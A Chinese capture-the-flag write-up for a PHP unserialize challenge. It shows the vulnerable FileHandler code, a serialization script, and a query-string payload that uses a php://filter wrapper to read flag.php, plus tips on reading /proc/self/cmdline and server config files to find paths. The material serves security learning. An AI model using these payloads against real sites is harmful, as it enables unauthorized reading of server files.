雜言
我從來不知道自己有那麼熱愛學習(大哭),摸魚了一個學期,最後一個月終於把期末給應付過去了,接下來就是把之前應付考試的時間補回來刷題和實習準備了,這次是5月網鼎青龍組的一道,我現在纔拿來複現。。。。
解題
開幕雷擊
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
Private、protecte序列化後產生不可見字符
private屬性序列化的時候格式是%00類名%00成員名
protecte屬性序列化的時候格式是%00*%00成員
PHP7.1以上的反序列化不會判斷裏面參數的屬性類型了,所以可以改成public再進行反序列化,繞過private、protected序列化後產生不可見字符。__destruct()方法,當op===“2"時會將"2"變成"1”,可以把op轉成int型進行繞過
<?php
class FileHandler{
public $op;
public $filename;
public $content;
}
$a = new FileHandler();
$a->op = 2;
$a->filename = 'php://filter/read=conver.base64_encode/resource=./flag.php';
echo serialize($a);
?>
playload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:58:"php://filter/read=conver.base64_encode/resource=./flag.php";s:7:"content";N;}
這道題目在復現的時候用相對路徑沒問題,在比賽的時候還有一個坑點就是要知道絕對路徑
linux提供了/proc/self/目錄,這個目錄比較獨特,不同的進程訪問該目錄時獲得的信息是不同的,內容等價於/proc/本進程pid/。進程可以通過訪問/proc/self/目錄來獲取自己的信息。
maps 記錄一些調用的擴展或者自定義 so 文件
environ 環境變量
comm 當前進程運行的程序
cmdline 程序運行的絕對路徑
cpuset docker 環境可以看 machine ID
cgroup docker環境下全是 machine ID 不太常用
可以讀取/proc/self/cmdline找到當前路徑獲取配置信息/web/config/httpd.conf
然後讀取/web/html/flag.php
參考鏈接
https://blog.csdn.net/god_zzZ/article/details/106062140